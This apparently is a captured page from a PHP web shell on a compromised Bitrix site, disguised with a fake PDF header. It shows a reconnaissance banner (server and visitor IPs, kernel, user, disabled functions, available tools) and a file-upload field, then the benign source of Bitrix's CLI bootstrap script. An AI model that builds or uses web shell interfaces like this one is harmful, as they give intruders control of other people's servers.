%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.222.82.221 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/cli/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage main * @copyright 2001-2018 Bitrix */ /** * executable file example (project/bitrix/bitrix): * #!/usr/bin/php * <?php * $_SERVER["DOCUMENT_ROOT"] = realpath(__DIR__.'/../'); * require_once(__DIR__.'/modules/main/dev/cli/bitrix.php'); */ // include bitrix require_once 'bootstrap.php'; // default location of composer.json $composerJsonFile = $_SERVER["DOCUMENT_ROOT"].'/bitrix/composer.json'; // custom location of composer.json from .settings.php $composerSettings = \Bitrix\Main\Config\Configuration::getValue('composer'); if (!empty($composerSettings['config_path'])) { $jsonPath = $composerSettings['config_path']; $jsonPath = ($jsonPath[0] == '/') ? $jsonPath // absolute : realpath($_SERVER["DOCUMENT_ROOT"].'/'.$jsonPath); // relative if (!empty($jsonPath)) { $composerJsonFile = $jsonPath; } } // default vendor path has the same parent dir as composer.json has $vendorPath = dirname($composerJsonFile).'/vendor'; if (file_exists($composerJsonFile) && is_readable($composerJsonFile)) { $jsonContent = json_decode(file_get_contents($composerJsonFile), true); if (isset($jsonContent['config']['vendor-dir'])) { $vendorPath = realpath(dirname($composerJsonFile).DIRECTORY_SEPARATOR.$jsonContent['config']['vendor-dir']); if ($vendorPath === false) { throw new \Bitrix\Main\SystemException(sprintf( 'Failed to load vendor libs from %s, path \'%s\' is not readable', $composerJsonFile, $jsonContent['config']['vendor-dir'] )); } } } // include composer autoload require $vendorPath.'/autoload.php'; // initialize symfony use Symfony\Component\Console\Application; $application = new Application(); // register commands $application->add(new \Bitrix\Main\Cli\OrmAnnotateCommand()); if (\Bitrix\Main\ModuleManager::isModuleInstalled('translate') && \Bitrix\Main\Loader::includeModule('translate')) { $application->add(new \Bitrix\Translate\Cli\IndexCommand()); } // run console $application->run();